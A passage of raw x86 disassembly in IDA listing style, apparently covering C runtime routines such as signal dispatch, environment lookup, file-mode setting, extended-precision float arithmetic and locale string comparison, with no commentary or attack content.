loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]

loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------

loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916

loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB57C
		mov	eax, offset dword_4DB57C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB578
		mov	eax, offset dword_4DB578
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB580
		mov	eax, offset dword_4DB580
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB574
		mov	eax, offset dword_4DB574

loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2

loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16

loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB350
		and	dword_4DB350, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C94C
		mov	dword_43C94C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------

loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]

loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C940
		mov	ecx, dword_43C944
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C8D0h[edx*4]

loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------

loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A

loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C94C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------

loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B

loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB350, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C94C, eax

loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx

loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8CC, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]

loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4

loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6

loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC910, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2A8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2A0
		test	esi, esi
		jz	short loc_425B3E

loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax

loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36

loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------

loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------

loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax

loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------

loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h

loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB278, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------

loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB278, 9

loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------

loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------

loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax

loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A

loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------

loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96

loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11

loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC

loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A

loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]

loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1

loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96

loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]

loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------

loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDC8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF28
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi

loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi

loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC6C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC8E4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2A8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C

loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE

loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax

loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB588, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25F0000h
		nop
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB588, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------

loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE2C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25F0629h
		nop
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB588, 2

loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB588
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25F0629h
		nop
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081

loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6

loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2

loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002

loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28B0000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047

loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE

loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D

loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------

loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB

loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE

loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------

loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	near ptr 2830000h
		nop
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------

loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax

loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D

loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190

loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
